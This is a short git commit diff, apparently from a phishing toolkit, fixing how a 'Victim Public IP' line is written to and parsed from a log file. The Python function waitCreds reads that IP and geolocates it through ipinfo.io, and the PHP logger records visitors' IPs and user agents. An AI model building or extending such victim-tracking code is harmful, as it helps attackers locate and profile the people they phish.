Merge pull request #41 from Micrafast/master

Bug Fixed!
This commit is contained in:
Usama Abdul Sattar 2018-06-08 18:24:33 +05:00 committed by GitHub
commit 616b79994f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 2 additions and 3 deletions

View File

@ -148,7 +148,7 @@ def waitCreds():
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('victim public ip: (.*)', lines).group(1)
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp)
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
@ -164,7 +164,6 @@ def waitCreds():
creds.close()
def runPEnv():
system('clear')

View File

@ -17,7 +17,7 @@ $browser = $_SERVER['HTTP_USER_AGENT'];
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "victim public ip: ";
$victim = "Victim Public IP: ";
$fp = fopen($file, 'a');
fwrite($fp, $victim);